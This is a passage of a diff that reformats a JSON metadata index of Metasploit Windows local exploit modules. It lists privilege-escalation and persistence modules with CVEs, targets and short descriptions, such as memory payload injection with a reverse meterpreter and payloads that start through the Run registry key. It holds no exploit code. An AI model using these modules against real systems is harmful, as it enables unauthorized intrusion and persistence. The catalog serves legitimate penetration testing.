"Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes", "fullname": "exploit/windows/local/cve_2024_30088_authz_basep", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-11", "type": "exploit", @@ -180425,12 +160697,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180456,16 +160724,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2024_35250_ks_driver": { "name": "Windows Access Mode Mismatch LPE in ks.sys", "fullname": "exploit/windows/local/cve_2024_35250_ks_driver", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-06-11", "type": "exploit", @@ -180484,12 +160748,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -180515,16 +160775,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/dnsadmin_serverlevelplugindll": { "name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation", "fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-05-08", "type": "exploit", @@ -180541,12 +160797,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -180573,16 +160825,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/docker_credential_wincred": { "name": "Docker-Credential-Wincred.exe Privilege Escalation", "fullname": "exploit/windows/local/docker_credential_wincred", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-07-05", "type": "exploit", @@ -180598,12 +160846,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -180629,16 +160873,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc": { "name": "Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation", "fullname": "exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-25", "type": "exploit", @@ -180665,12 +160905,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -180696,16 +160932,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/gog_galaxyclientservice_privesc": { "name": "GOG GalaxyClientService Privilege Escalation", "fullname": "exploit/windows/local/gog_galaxyclientservice_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-04-28", "type": "exploit", @@ -180720,12 +160952,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows (Dropper)" ], @@ -180751,16 +160979,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ikeext_service": { "name": "IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL", "fullname": "exploit/windows/local/ikeext_service", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-10-09", "type": "exploit", @@ -180775,12 +160999,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -180792,22 +161012,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ipass_launch_app": { "name": "iPass Mobile Client Service Privilege Escalation", "fullname": "exploit/windows/local/ipass_launch_app", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-12", "type": "exploit", @@ -180822,12 +161037,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -180838,22 +161049,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/lenovo_systemupdate": { "name": "Lenovo System Update Privilege Escalation", "fullname": "exploit/windows/local/lenovo_systemupdate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-12", "type": "exploit", @@ -180871,12 +161077,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -180887,22 +161089,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/lexmark_driver_privesc": { "name": "Lexmark Driver Privilege Escalation", "fullname": "exploit/windows/local/lexmark_driver_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-07-15", "type": "exploit", @@ -180921,12 +161118,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -180952,16 +161145,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/microfocus_operations_privesc": { "name": "Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation", "fullname": "exploit/windows/local/microfocus_operations_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-28", "type": "exploit", @@ -180980,12 +161169,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": 443, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Micro Focus Operations Bridge Manager (Windows) <= 2020.05", "Micro Focus Operations Bridge Reporter (Windows) <= 10.40" @@ -181013,16 +161198,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/mov_ss": { "name": "Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/mov_ss", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-05-08", "type": "exploit", @@ -181043,12 +161224,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -181059,22 +161236,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/mqac_write": { "name": "MQAC.sys Arbitrary Write Privilege Escalation", "fullname": "exploit/windows/local/mqac_write", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-07-22", "type": "exploit", @@ -181091,12 +161263,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -181116,16 +161284,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms10_015_kitrap0d": { "name": "Windows SYSTEM Escalation via KiTrap0D", "fullname": "exploit/windows/local/ms10_015_kitrap0d", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-19", "type": "exploit", @@ -181146,12 +161310,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2K SP4 - Windows 7 (x86)" ], @@ -181162,22 +161322,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms10_092_schelevator": { "name": "Windows Escalate Task Scheduler XML Privilege Escalation", "fullname": "exploit/windows/local/ms10_092_schelevator", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-09-13", "type": "exploit", @@ -181195,12 +161350,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Vista / 7 / 2008 (Dropper)", "Windows Vista / 7 / 2008 (Command)" @@ -181228,16 +161379,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms11_080_afdjoinleaf": { "name": "MS11-080 AfdJoinLeaf Privilege Escalation", "fullname": "exploit/windows/local/ms11_080_afdjoinleaf", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-11-30", "type": "exploit", @@ -181256,12 +161403,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP2 / SP3", @@ -181278,9 +161421,7 @@ "Stability": [ "crash-os-restarts" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -181290,16 +161431,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_005_hwnd_broadcast": { "name": "MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation", "fullname": "exploit/windows/local/ms13_005_hwnd_broadcast", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-27", "type": "exploit", @@ -181318,12 +161455,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -181335,22 +161468,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_053_schlamperei": { "name": "Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)", "fullname": "exploit/windows/local/ms13_053_schlamperei", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-12-01", "type": "exploit", @@ -181369,12 +161497,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP0/SP1" ], @@ -181385,22 +161509,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_081_track_popup_menu": { "name": "Windows TrackPopupMenuEx Win32k NULL Page", "fullname": "exploit/windows/local/ms13_081_track_popup_menu", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-10-08", "type": "exploit", @@ -181422,12 +161541,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP0/SP1" ], @@ -181447,16 +161562,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms13_097_ie_registry_symlink": { "name": "MS13-097 Registry Symlink IE Sandbox Escape", "fullname": "exploit/windows/local/ms13_097_ie_registry_symlink", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-12-10", "type": "exploit", @@ -181474,12 +161585,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 - 11" ], @@ -181490,22 +161597,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms14_009_ie_dfsvc": { "name": "MS14-009 .NET Deployment Service IE Sandbox Escape", "fullname": "exploit/windows/local/ms14_009_ie_dfsvc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-02-11", "type": "exploit", @@ -181523,12 +161625,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 8 - 11" ], @@ -181539,22 +161637,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms14_058_track_popup_menu": { "name": "Windows TrackPopupMenu Win32k NULL Pointer Dereference", "fullname": "exploit/windows/local/ms14_058_track_popup_menu", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-10-14", "type": "exploit", @@ -181575,12 +161668,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -181601,16 +161690,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms14_070_tcpip_ioctl": { "name": "MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference", "fullname": "exploit/windows/local/ms14_070_tcpip_ioctl", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-11-11", "type": "exploit", @@ -181629,12 +161714,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Server 2003 SP2" ], @@ -181645,22 +161726,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms15_004_tswbproxy": { "name": "MS15-004 Microsoft Remote Desktop Services Web Proxy IE Sandbox Escape", "fullname": "exploit/windows/local/ms15_004_tswbproxy", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-01-13", "type": "exploit", @@ -181678,12 +161754,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Protected Mode (Windows 7) / 32 bits" ], @@ -181694,22 +161766,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms15_051_client_copy_image": { "name": "Windows ClientCopyImage Win32k Exploit", "fullname": "exploit/windows/local/ms15_051_client_copy_image", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-05-12", "type": "exploit", @@ -181730,12 +161797,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -181756,16 +161819,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms15_078_atmfd_bof": { "name": "MS15-078 Microsoft Windows Font Driver Buffer Overflow", "fullname": "exploit/windows/local/ms15_078_atmfd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-07-11", "type": "exploit", @@ -181789,12 +161848,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 8.1 x64" ], @@ -181805,22 +161860,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_014_wmi_recv_notif": { "name": "Windows WMI Receive Notification Exploit", "fullname": "exploit/windows/local/ms16_014_wmi_recv_notif", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-04", "type": "exploit", @@ -181840,12 +161890,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP0/SP1" ], @@ -181856,22 +161902,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_016_webdav": { "name": "MS16-016 mrxdav.sys WebDav Local Privilege Escalation", "fullname": "exploit/windows/local/ms16_016_webdav", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-09", "type": "exploit", @@ -181887,12 +161928,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1" ], @@ -181903,22 +161940,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_032_secondary_logon_handle_privesc": { "name": "MS16-032 Secondary Logon Handle Privilege Escalation", "fullname": "exploit/windows/local/ms16_032_secondary_logon_handle_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-03-21", "type": "exploit", @@ -181937,12 +161969,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -181955,30 +161983,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_075_reflection": { "name": "Windows Net-NTLMv2 Reflection DCOM/RPC", "fullname": "exploit/windows/local/ms16_075_reflection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-01-16", "type": "exploit", @@ -181998,12 +162016,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows x86", @@ -182016,22 +162030,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_075_reflection_juicy": { "name": "Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)", "fullname": "exploit/windows/local/ms16_075_reflection_juicy", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2016-01-16", "type": "exploit", @@ -182056,12 +162065,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -182072,22 +162077,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms18_8120_win32k_privesc": { "name": "Windows SetImeInfoEx Win32k NULL Pointer Dereference", "fullname": "exploit/windows/local/ms18_8120_win32k_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-05-09", "type": "exploit", @@ -182109,12 +162109,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 7 x64", @@ -182127,22 +162123,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms_ndproxy": { "name": "MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation", "fullname": "exploit/windows/local/ms_ndproxy", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-11-27", "type": "exploit", @@ -182168,12 +162159,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3", @@ -182186,22 +162173,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/novell_client_nicm": { "name": "Novell Client 2 SP3 nicm.sys Local Privilege Escalation", "fullname": "exploit/windows/local/novell_client_nicm", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-05-22", "type": "exploit", @@ -182219,12 +162201,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 7 SP1" @@ -182236,22 +162214,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/novell_client_nwfs": { "name": "Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation", "fullname": "exploit/windows/local/novell_client_nwfs", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-06-26", "type": "exploit", @@ -182268,12 +162241,8 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3" @@ -182285,22 +162254,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/nscp_pe": { "name": "NSClient++ 0.5.2.35 - Privilege escalation", "fullname": "exploit/windows/local/nscp_pe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -182354,20 +162318,14 @@ "repeatable-session" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ntapphelpcachecontrol": { "name": "MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check", "fullname": "exploit/windows/local/ntapphelpcachecontrol", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-30", "type": "exploit", @@ -182386,12 +162344,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 8 / Windows 8.1 (x86 and x64)" ], @@ -182403,30 +162357,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ntusermndragover": { "name": "Microsoft Windows NtUserMNDragOver Local Privilege Elevation", "fullname": "exploit/windows/local/ntusermndragover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-12", "type": "exploit", @@ -182446,12 +162390,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x86" ], @@ -182477,16 +162417,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/nvidia_nvsvc": { "name": "Nvidia (nvsvc) Display Driver Service Local Privilege Escalation", "fullname": "exploit/windows/local/nvidia_nvsvc", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-12-25", "type": "exploit", @@ -182503,12 +162439,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -182519,22 +162451,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/panda_psevents": { "name": "Panda Security PSEvents Privilege Escalation", "fullname": "exploit/windows/local/panda_psevents", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-27", "type": "exploit", @@ -182543,18 +162470,12 @@ "Security-Assessment.com" ], "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -182566,15 +162487,12 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/payload_inject": { "name": "Windows Manage Memory Payload Injection", @@ -182590,18 +162508,12 @@ "sinn3r " ], "description": "This module will inject a payload into memory of a process. If a payload\n isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID\n datastore option isn't specified, then it'll inject into notepad.exe instead.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -182612,22 +162524,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/persistence": { "name": "Windows Persistent Registry Startup Payload Installer", "fullname": "exploit/windows/local/persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-19", "type": "exploit", @@ -182636,18 +162543,12 @@ "g0tmi1k" ], "description": "This module will install a payload that is executed during boot.\n It will be executed either at user logon or system startup via the registry\n value in \"CurrentVersion\\Run\" (depending on privilege and selected method).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -182658,22 +162559,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/persistence_image_exec_options": { "name": "Windows Silent Process Exit Persistence", "fullname": "exploit/windows/local/persistence_image_exec_options", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-06-28", "type": "exploit", @@ -182689,12 +162585,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -182705,22 +162597,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/persistence_service": { "name": "Windows Persistent Service Installer", "fullname": "exploit/windows/local/persistence_service", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-20", "type": "exploit", @@ -182734,12 +162621,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + 